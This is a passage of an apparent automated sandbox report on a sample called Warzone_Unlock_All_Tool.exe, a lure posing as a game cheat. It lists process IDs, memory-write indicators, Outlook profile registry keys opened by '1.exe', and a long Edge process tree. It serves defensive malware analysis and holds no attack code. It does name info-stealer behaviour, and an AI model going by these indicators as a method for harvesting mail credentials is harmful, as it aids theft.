2996	Warzone_Unlock_All_Tool.exe
2996	Warzone_Unlock_All_Tool.exe
2996	Warzone_Unlock_All_Tool.exe
5816	vlc.exe
2792	Warzone_Unlock_All_Tool.exe
2792	Warzone_Unlock_All_Tool.exe
2792	Warzone_Unlock_All_Tool.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5336 wrote to memory of 4488	5336	msedge.exe	87
PID 5336 wrote to memory of 4488	5336	msedge.exe	87
PID 5336 wrote to memory of 2400	5336	msedge.exe	88
PID 5336 wrote to memory of 2400	5336	msedge.exe	88
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 5432	5336	msedge.exe	89
PID 5336 wrote to memory of 1920	5336	msedge.exe	90
PID 5336 wrote to memory of 1920	5336	msedge.exe	90
PID 5336 wrote to memory of 1920	5336	msedge.exe	90
PID 5336 wrote to memory of 1920	5336	msedge.exe	90
PID 5336 wrote to memory of 1920	5336	msedge.exe	90
PID 5336 wrote to memory of 1920	5336	msedge.exe	90
PID 5336 wrote to memory of 1920	5336	msedge.exe	90
PID 5336 wrote to memory of 1920	5336	msedge.exe	90
PID 5336 wrote to memory of 1920	5336	msedge.exe	90

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-167299615-4170584903-1843289874-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Warzone_Unlock_All_Tool_2.2.zip
1⤵
PID:2516

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x2f8,0x7fff60cdf208,0x7fff60cdf214,0x7fff60cdf220
  2⤵
  PID:4488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1412,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:11
  2⤵
  PID:2400
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2168,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:2
  2⤵
  PID:5432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2472,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:13
  2⤵
  PID:1920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3460,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:1
  2⤵
  PID:5628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3668,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:1
  2⤵
  PID:5340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4968,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=4948 /prefetch:14
  2⤵
  PID:5164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5244,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=4932 /prefetch:14
  2⤵
  PID:5672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5240,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
  2⤵
  PID:5436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6396,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=6404 /prefetch:14
  2⤵
  PID:1488
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1148
    3⤵
    PID:908
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6408,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:14
  2⤵
  PID:2080
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6408,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:14
  2⤵
  PID:1212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=6692,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:1
  2⤵
  PID:4992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=5388,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
  2⤵
  PID:4604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6796,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=6788 /prefetch:14
  2⤵
  PID:220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6816,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:14
  2⤵
  PID:1904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6828,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:14
  2⤵
  PID:4452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6932,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:14
  2⤵
  PID:2676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=6940,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:1
  2⤵
  PID:5496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5456,i,1609101084421829047,10281605636394081749,262144 --variations-seed-version --mojo-platform-channel-handle=7116 /prefetch:14
  2⤵
  - NTFS ADS
  PID:1956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  PID:4104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x2c4,0x7fff60cdf208,0x7fff60cdf214,0x7fff60cdf220
    3⤵
    PID:5444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2144,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=2140 /prefetch:2
    3⤵
    PID:4028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1840,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:11
    3⤵
    PID:1200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2492,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=2668 /prefetch:13
    3⤵
    PID:5480
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4352,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:14
    3⤵
    PID:6044
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4352,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:14
    3⤵
    PID:4440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4596,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=4604 /prefetch:14
    3⤵
    PID:2224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=4832,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=4900 /prefetch:1
    3⤵
    PID:2616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4840,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=4904 /prefetch:1
    3⤵
    PID:5628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5428,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
    3⤵
    PID:2184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5456,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:14
    3⤵
    PID:4152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5828,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14
    3⤵
    PID:3068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=6008,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:1
    3⤵
    PID:4536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=6396,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:1
    3⤵
    PID:5188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=6700,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=6720 /prefetch:1
    3⤵
    PID:1848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=5020,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:1
    3⤵
    PID:1092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7156,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:14
    3⤵
    PID:5244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7000,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=7140 /prefetch:14
    3⤵
    PID:3036
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7164,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=7192 /prefetch:14
    3⤵
    PID:2032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5728,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:14
    3⤵
    PID:3512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7804,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=7824 /prefetch:14
    3⤵
    PID:4424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7876,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:14
    3⤵
    - NTFS ADS
    PID:5812
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4216,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=7892 /prefetch:14
    3⤵
    PID:5832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7892,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=7828 /prefetch:14
    3⤵
    PID:1816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4480,i,12030419779732442579,11454582100819092428,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:14
    3⤵
    PID:4344
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:1052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x240,0x244,0x248,0x23c,0x2b4,0x7fff60cdf208,0x7fff60cdf214,0x7fff60cdf220
      4⤵
      PID:3388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=3460,i,5942673050488101137,3197525819334627134,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:2
